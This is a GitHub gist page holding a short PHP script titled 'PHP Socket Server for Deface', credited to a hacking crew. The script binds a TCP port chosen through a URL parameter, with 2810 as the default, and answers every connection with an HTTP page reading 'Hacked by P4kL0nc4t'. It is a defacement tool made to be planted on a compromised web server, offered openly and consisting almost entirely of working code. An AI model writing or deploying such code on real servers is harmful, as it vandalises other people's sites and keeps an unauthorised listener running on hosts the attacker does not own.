Created
November 18, 2017 07:44
-
-
Save lc-at/b40ad51c3c842c65e210ed5a779cbe53 to your computer and use it in GitHub Desktop.
PHP Socket Server for Deface
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
- Socket Server PHP | |
| Author: P4kL0nc4t / Obsidian Cyber Team | |
| Date: 28 October 2017 | |
| Note: Editing author will not make you the real coder! | |
*/ | |
set_time_limit (0); | |
if(!empty($_GET['port']) && is_numeric($_GET['port'])) { | |
$port = $_GET['port']; | |
} else { | |
$port = 2810; | |
} | |
$sock = socket_create(AF_INET, SOCK_STREAM, 0); | |
socket_bind($sock, 0, $port) or die('lnct_error: Failed to bind port'); | |
socket_listen($sock); | |
while ($client = socket_accept($sock)) { | |
$response = "HTTP/1.0 200 OK\r\n"; | |
$response .= "Server: P4kL0nc4t-SSWP\r\n"; | |
$response .= "Content-Type: text/html\r\n\r\n"; | |
$response .= "<html><body><h1>Hacked by P4kL0nc4t</h1></body></html>"; | |
socket_write($client, $response); | |
socket_close($client); | |
} | |
socket_close($sock); | |
?> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment